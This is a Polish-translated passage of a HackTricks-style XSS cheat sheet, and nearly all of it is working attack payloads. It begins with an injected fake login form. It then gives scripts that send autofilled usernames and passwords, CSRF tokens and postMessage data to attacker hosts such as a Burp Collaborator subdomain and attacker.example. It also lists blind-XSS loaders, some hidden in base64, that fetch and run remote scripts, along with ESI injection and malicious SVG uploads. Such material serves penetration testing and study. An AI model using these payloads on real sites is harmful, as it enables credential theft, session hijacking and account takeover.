<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Przechwytywanie haseł z autouzupełniania

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Jeśli krytyczny handler (np. function DoLogin(){...}) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw const o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako const, pozostawiając twój hook pod kontrolą:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notatki

  • Zależy to od kolejności wykonywania: your injection musi wykonać się przed prawidłową deklaracją.
  • Jeśli twój payload jest opakowany w eval(...), wiązania const/let nie staną się globalne. Użyj dynamicznej techniki <script> injection z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe globalne, nieprzebindowalne wiązanie.
  • Gdy filtry słów kluczowych blokują kod, połącz to z Unicode-escaped identifiers lub dostarczeniem przez eval(atob('...')), jak pokazano powyżej.

Keylogger

Po przeszukaniu github znalazłem kilka różnych:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Kradzież wiadomości PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Możesz również użyć: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Dostęp do ukrytej zawartości

From this writeup można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Lista Brute-Force

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS — wykorzystywanie innych podatności

XSS w Markdown

Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź:

XSS in Markdown

XSS do SSRF

Masz XSS na stronie korzystającej z cache'owania? Spróbuj przekształcić to w SSRF przez Edge Side Include Injection, używając tego payloadu:

python
<esi:include src="http://yoursite.com/capture" />

Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!
Więcej informacji o tej technice tutaj: XSLT.

XSS w dynamicznie tworzonym PDF

Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS.
Jeśli bot tworzący PDF znajdzie jakiś rodzaj HTML tagów, zacznie je interpretować, i możesz nadużyć tego zachowania, aby spowodować Server XSS.

Server Side XSS (Dynamic PDF)

Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować wstrzyknąć dane PDF:

PDF Injection

XSS w Amp4Email

AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez AMP components.

The AMP for Email format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail.

Example writeup XSS in Amp4Email in Gmail.

XSS przy przesyłaniu plików (svg)

Prześlij jako obraz plik taki jak poniższy (z http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Znajdź więcej SVG payloads w https://github.com/allanlw/svg-cheatsheet

Różne triki JS i istotne informacje

Misc JS Tricks & Relevant Info

Zasoby XSS

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks